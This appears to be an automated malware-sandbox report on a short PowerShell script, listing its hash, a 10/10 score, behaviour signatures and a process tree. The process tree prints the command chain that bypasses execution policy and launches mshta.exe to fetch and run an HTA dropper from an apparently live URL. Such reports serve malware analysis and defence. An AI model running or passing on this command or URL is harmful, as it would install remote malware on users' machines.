Resubmissions
09/08/2026, 00:42
260809-a2pjaaga971009/08/2026, 00:41
260809-a1rl9afm7v1009/08/2026, 00:27
260809-ar2e4afl8t10Analysis
- user interaction
yes - max time kernel
16s - max time network
13s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
09/08/2026, 00:42
General
- Target trigger.ps1
- Size 26B
- Sample260809-a2pjaaga97
- SHA256 5f78ec753f10791d682272dba1fa840421731552e48a1b6ce2647ff8b7e16dd3
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://genthub.app/
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://genthub.app/2⤵
- Badlisted process makes network request
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4292-0-0x00007FFA5618F000-0x00007FFA56190000-memory.dmp
memory/4292-3-0x00000237BE1B0000-0x00000237BE1D2000-memory.dmp
memory/4292-4-0x00007FFA56000000-0x00007FFA569A4000-memory.dmp
memory/4292-5-0x00007FFA56000000-0x00007FFA569A4000-memory.dmp
memory/4292-6-0x00007FFA56000000-0x00007FFA569A4000-memory.dmp
memory/4292-8-0x00007FFA56000000-0x00007FFA569A4000-memory.dmp
memory/4292-9-0x00007FFA56000000-0x00007FFA569A4000-memory.dmp